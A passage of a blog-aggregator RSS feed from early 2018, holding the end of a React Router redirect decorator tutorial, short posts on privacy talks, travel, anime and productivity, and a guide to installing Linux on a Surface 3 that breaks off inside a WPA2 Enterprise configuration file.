&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      redirectUrl&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;state&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// If component is rendered on redirect page as well&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// (i.e. header or footer) it would cause redirect-loop&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// as &amp;quot;&amp;lt;Redirect /&amp;gt;&amp;quot; is being rendered every time.&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// So we are resetting the state after redirect&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token operator"&gt;!&lt;/span&gt;prevState&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;redirectUrl&lt;/span&gt; &lt;span class="token operator"&gt;&amp;amp;&amp;amp;&lt;/span&gt; redirectUrl&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;setState&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        &lt;span class="token literal-property property"&gt;push&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token boolean"&gt;false&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        &lt;span class="token literal-property property"&gt;redirectUrl&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token keyword null nil"&gt;null&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function-variable function"&gt;redirectTo&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token parameter"&gt;redirectUrl&lt;span class="token punctuation"&gt;,&lt;/span&gt; push &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token boolean"&gt;false&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token arrow operator"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;setState&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      push&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      redirectUrl&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function"&gt;render&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      push&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      redirectUrl&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;state&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;redirectUrl&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token maybe-class-name"&gt;Redirect&lt;/span&gt; push&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; push &lt;span class="token punctuation"&gt;}&lt;/span&gt; to&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; redirectUrl &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token operator"&gt;/&lt;/span&gt;&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token maybe-class-name"&gt;ComposedComponent&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token spread operator"&gt;...&lt;/span&gt;&lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;props&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        redirectTo&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;redirectTo&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token operator"&gt;/&lt;/span&gt;&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword module"&gt;export&lt;/span&gt; &lt;span class="token keyword module"&gt;default&lt;/span&gt; withRedirect&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="usage"&gt;Usage &lt;a class="anchor-link" href="#usage"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Import newly added decorator and apply it to your component.
It will inject &lt;code&gt;redirectTo&lt;/code&gt; to it&amp;#x27;s props,
and you can use it anywhere to redirect user to a new URL.&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword module"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;React&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword module"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword module"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;withRedirect&lt;/span&gt; &lt;span class="token keyword module"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;path/to/redirect/decorator&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;@withRedirect
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword module"&gt;export&lt;/span&gt; &lt;span class="token keyword module"&gt;default&lt;/span&gt; &lt;span class="token keyword"&gt;class&lt;/span&gt; &lt;span class="token class-name"&gt;Example&lt;/span&gt; &lt;span class="token keyword"&gt;extends&lt;/span&gt; &lt;span class="token class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function-variable function"&gt;handleClick&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token arrow operator"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      redirectTo&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;props&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token function"&gt;redirectTo&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;/&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token boolean"&gt;true&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function"&gt;render&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;button onClick&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;handleClick&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        &lt;span class="token maybe-class-name"&gt;Take&lt;/span&gt; me home&lt;span class="token operator"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token operator"&gt;/&lt;/span&gt;button&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First parameter is obviously a URL, and the second one is boolean &lt;code&gt;push&lt;/code&gt;.
It is &lt;code&gt;false&lt;/code&gt; by default and in that case redirect URL will replace the current URL
(user won&amp;#x27;t be able to get back to it by clicking browser back button).
When set to &lt;code&gt;true&lt;/code&gt; it will push new URL to the history, leaving the old one as well.&lt;/p&gt;
&lt;p&gt;Happy redirecting!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 29 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/react-router-v4-redirect-decorator/</guid></item><item><title>Infosec privacy for a Sunday watch list (tor / bitcoins)</title><link>https://yasha.solutions/sunday-watch-list/</link><description>Research notes / Watchlist for later review on infosec and privacy and anonymity – note that these two are different.
 #Tor Developer Isis Lovecruft lectures on anonymity systems at Radboud Universiteit
https://youtu.be/xGIE7KTJiBY #Browsing with Tor: Online Anonymity to Outsmart the NSA – Tom Lowenthal
 #DEFCON 14: How to Create an Anonymous Identity
 #DEFCON 20: Can You Track Me Now?
Government And Corporate Surveillance Of Mobile Geo-Location Data</description><author>Yasha Solutions</author><pubDate>Sun, 28 Jan 2018 23:37:30 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/sunday-watch-list/</guid></item><item><title>Los Angeles</title><link>https://faingezicht.com/photos/2018/01/28/la/</link><description>A couple of weeks ago we went to LA. The original plan was to go to the Grand Canyon, but it was going to be way too cold there for me to agree.

We had a lot of fun and ate great food, but overall, I'd say I didn't like the city. It is way too spread out, and we spent roughly the same amount of time in traffic as out of it. After the fact, someone who was born and raised there told me that we should have just done one or two adjacent neighborhoods, instead of trying to hit Hollywood, Venice, Santa Monica and a couple of others all in a weekend. For me, that's a deal breaker, but we'll probably go back anyway. I still want to see the Getty, the Broad, and spend some time in Downtown LA, which we didn't have the time to do this trip. Maybe we'll pair that with a road trip down Highway 1, which is still on the to-do list.</description><author>Avy Faingezicht</author><pubDate>Sun, 28 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/01/28/la/</guid></item><item><title>When news are true, but CLONED</title><link>https://stop.zona-m.net/2018/01/when-news-are-true-but-cloned/</link><description>&lt;p&gt;There is fake news, that is the more or less &amp;ldquo;alternative-&amp;rdquo; facts published specifically for political propaganda, or just to make some buck. But there is also news that are true but deliberately CLONED, like animals in factory farms. Here is a real-world example from Italy &lt;strong&gt;(IMPORTANT UPDATE, July 17th 2018, at the bottom of the post!!)&lt;/strong&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 27 Jan 2018 18:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/when-news-are-true-but-cloned/</guid></item><item><title>Just ship</title><link>https://yasha.solutions/just-ship/</link><description>I am very good at starting things.
It wasn’t always true – I used to waste a lot of time to ponder and get to work – now in the past decade I think I have brought my capacity to set up a new project to a real good level – and kickstarting things into motions.
Now – I need to move to the next level – which is perfecting the finish.</description><author>Yasha Solutions</author><pubDate>Sat, 27 Jan 2018 11:23:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/just-ship/</guid></item><item><title>Anime I watched in 2017</title><link>https://trigonaminima.github.io/2018/01/anime-watched-2017/</link><description>Animes are great in story, drama, and action. It is one of those visual arts where you get to see the beautiful artwork, engaging story telling, incredible imagination and intense development of characters. At each step, the audience will be kept up-to-date with the story; you’ll never feel lost, except may be, during the first few episodes.</description><author>Playground</author><pubDate>Sat, 27 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2018/01/anime-watched-2017/</guid></item><item><title>Build Worflows</title><link>https://yasha.solutions/build-worflows/</link><description>Resistance and friction is what make the daily grind hard.
Let your creativity flow more easily by removing all the block from the roads so you can focus on the journey and not on perpetually cleaning up the mess that getting in your way.
Writing :
How I write
I use Notational Velocity (Windows / Linux equivalent) –
Publishing
– DeskPM
but also setting up a place like /var/log on my site has remove a bunch of psychological road blocks that were getting in the way.</description><author>Yasha Solutions</author><pubDate>Fri, 26 Jan 2018 10:14:16 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/build-worflows/</guid></item><item><title>Four BAD online habits you very likely have</title><link>https://stop.zona-m.net/2018/01/four-bad-online-habits-you-very-likely-have/</link><description>&lt;p&gt;Here are four habits that make millions of people waste huge amounts of time, often without even making them feel better.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 26 Jan 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/four-bad-online-habits-you-very-likely-have/</guid></item><item><title>Installing Linux on a Microsoft Surface 3</title><link>https://sean.lane.sh/posts/2018/01/Installing-Linux-on-a-Microsoft-Surface-3/</link><description>&lt;p&gt;&lt;em&gt;Update: April 22, 2020&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This post as it stands is pretty outdated, though I currently don&amp;rsquo;t have the time to fix that. Read this comment for an idea of how things are at the moment:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/seanlane/seanlane.github.io/issues/6#issuecomment-617574939"&gt;https://github.com/seanlane/seanlane.github.io/issues/6#issuecomment-617574939&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;TL;DR: Go checkout this project for the latest kernel: &lt;a href="https://github.com/linux-surface/linux-surface"&gt;https://github.com/linux-surface/linux-surface&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: July 23, 2019&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I came back to this after a hiatus, and finally finished a relevant install of Linux on my Surface 3. I abandoned the effort to use Arch Linux, opting instead to try &lt;a href="https://elementary.io/"&gt;ElementaryOS&lt;/a&gt; since the main purpose of this device will be for some children to use during long car rides.&lt;/p&gt;
&lt;h2 id="install-elementary-os"&gt;Install Elementary OS&lt;/h2&gt;
&lt;p&gt;The installation itself was easy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Disable Secure Boot as originally described below&lt;/li&gt;
&lt;li&gt;Install ElementaryOS to a USB drive: &lt;a href="https://elementary.io/docs/installation#creating-an-installation-medium"&gt;https://elementary.io/docs/installation#creating-an-installation-medium&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Insert the USB drive into the Surface and boot to USB:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Turn off the Surface 3&lt;/li&gt;
&lt;li&gt;Press and hold the volume-down button&lt;/li&gt;
&lt;li&gt;Press and release the power button&lt;/li&gt;
&lt;li&gt;When the Surface logo appears, release the volume-down button&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="4"&gt;
&lt;li&gt;Follow the install instructions&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; As I discuss below, following these steps will obliterate the Windows partition, since I don&amp;rsquo;t care to keep it. If you&amp;rsquo;re trying to dual boot Linux and Windows, you&amp;rsquo;ll have to find further instructions on that elsewhere.&lt;/p&gt;
&lt;h2 id="use-jake-days-surface-kernel"&gt;Use Jake Day&amp;rsquo;s Surface kernel&lt;/h2&gt;
&lt;p&gt;This project from Jake Day makes this entire effort reasonably painless: &lt;a href="https://github.com/jakeday/linux-surface"&gt;https://github.com/jakeday/linux-surface&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;While not explictly supporting the Surface 3, it does seem to work when using kernel release 4.19.18:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using releases after 4.19.18 appear to not correctly recognize the battery on the Surface 3, so you can&amp;rsquo;t display a battery percentage (Related issue: &lt;a href="https://github.com/jakeday/linux-surface/issues/452"&gt;https://github.com/jakeday/linux-surface/issues/452&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Using releases before 4.19.18 gave me issues with audio not functioning&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kernel 4.19.18 seems to be the sweet spot of having both audio and the battery indicator functioning, and I haven&amp;rsquo;t noticed other issues yet. I haven&amp;rsquo;t bothered to get the Surface Pen to work, but the touchscreen and TypeCover both seem to work well.&lt;/p&gt;
&lt;p&gt;Following the instructions from the project README are easy enough:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find your chosen version from the release page:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jakeday/linux-surface/releases"&gt;https://github.com/jakeday/linux-surface/releases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;My instructions will show 4.19.18, change for your purposes as required:
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jakeday/linux-surface/releases/tag/4.19.18-1"&gt;https://github.com/jakeday/linux-surface/releases/tag/4.19.18-1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Download the appropriate &lt;code&gt;linux-headers&lt;/code&gt;, &lt;code&gt;linux-image&lt;/code&gt;, and &lt;code&gt;linux-libc-&lt;/code&gt; files, then verify using the corresponding MD5 files&lt;/li&gt;
&lt;li&gt;Install using dpkg:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo dpkg -i linux-headers-[VERSION].deb linux-image-[VERSION].deb linux-libc-dev-[VERSION].deb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&amp;rsquo;s pretty as far as I&amp;rsquo;m planning to take it, seems like it works pretty well at this point.&lt;/p&gt;
&lt;figure&gt;&lt;img alt="Action Shot of the Surface 3 running Elementary OS" src="https://sean.lane.sh/images/2018/01/surface-linux.png" /&gt;&lt;figcaption&gt;
            &lt;p&gt;Action Shot of the Surface 3 running Elementary OS&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr /&gt;
&lt;p&gt;A few years ago, I was given a Microsoft Surface 3 tablet that has since fallen into disuse. I was appreciative of the gift, though to be honest the Intel Atom CPU it came with is fairly underpowered when it comes to running Windows 10, so I decided to install a light Linux distro on it to get the tablet back into running order. I came across the blog post &lt;a href="https://blog.chadvoegele.com/posts/post2.html"&gt;Running Arch Linux on a Surface 3&lt;/a&gt; by &lt;a href="http://www.chadvoegele.com/"&gt;Chad Voegele&lt;/a&gt;, which was fairly useful in getting started, and I wanted to write a post of my own to share some addition details and places where I diverged from Chad&amp;rsquo;s post along the way.&lt;/p&gt;
&lt;p&gt;The biggest  difference is that I had no intentions of dual booting Windows alongside Linux, so I disregarded any shrinking of the Windows partition or having to consolidate the Windows partition into one part of the SSD. Past that, I followed the overall path that Chad outlines with some minor modifications/details.&lt;/p&gt;
&lt;h1 id="disable-secure-boot"&gt;Disable Secure Boot&lt;/h1&gt;
&lt;p&gt;We&amp;rsquo;ll first need to disable the Secure Boot feature that checks installed kernels against an approved list, since we&amp;rsquo;re installing one that one be pre-approved by Microsoft.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;From the powered off state, hold the volume up button, press and then release the power button, and keep holding the volume up button until the BIOS screen appears&lt;/li&gt;
&lt;li&gt;Using the keyboard, go to the Secure Boot option, press enter to show the selection dialog, and then select Disable to disable Secure Boot&lt;/li&gt;
&lt;li&gt;From the BIOS screen, also change the &lt;a href="https://support.microsoft.com/en-us/help/4023511/surface-boot-surface-from-a-usb-device?os=windows-10&amp;amp;=undefined"&gt;boot order&lt;/a&gt; from &lt;code&gt;SSD&lt;/code&gt; to &lt;code&gt;Network &amp;gt; USB &amp;gt; SSD&lt;/code&gt; before moving on&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="install-arch-linux"&gt;Install Arch Linux&lt;/h1&gt;
&lt;p&gt;First &lt;a href="https://wiki.archlinux.org/index.php/USB_flash_installation_media"&gt;install Arch Linux to a USB drive&lt;/a&gt; and then follow the Arch Linux wiki&amp;rsquo;s excellent &lt;a href="https://wiki.archlinux.org/index.php/installation_guide"&gt;installation guide&lt;/a&gt;. I didn&amp;rsquo;t have any problems with verifying that the Surface booted in UEFI mode or with the keyboard, but I did have to fight with the WiFi&lt;/p&gt;
&lt;h2 id="wpa-2-enterprise-wifi-on-the-surface-3-from-arch-linux"&gt;WPA 2 Enterprise WiFi on the Surface 3 from Arch Linux&lt;/h2&gt;
&lt;p&gt;The BYU CS department where I was performing this operation uses WPA2 Enterprise for their wifi network, which made things a bit more complicated. From the &lt;a href="https://wiki.archlinux.org/index.php/WPA_supplicant#Advanced_usage"&gt;WPA_supplicant page&lt;/a&gt; I found the the following WPA_supplicant configuration file allowed for connection to the network (_Note:_ You&amp;rsquo;d need to replace the text in between and including the angle brackets with your relevant information):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# File: /etc/wpa_supplicant/wpa_supplicant.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;ctrl_interface=DIR=/run/wpa_supplicant
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;ap_scan=1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;fast_reauth=1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;network={
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  scan_ssid=1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  ssid="&amp;lt;ssid&amp;gt;"                     # Replace this
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  key_mgmt=WPA-EAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  eap=PEAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  identity="&amp;lt;username&amp;gt;"             # Replace this
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  anonymous_identity="&amp;lt;username&amp;gt;"   # Replace this
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  password="&amp;lt;password&amp;gt;"             # Replace this
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  phase1="peaplabel=0"
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  phase2="auth=MSCHAPV2"
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
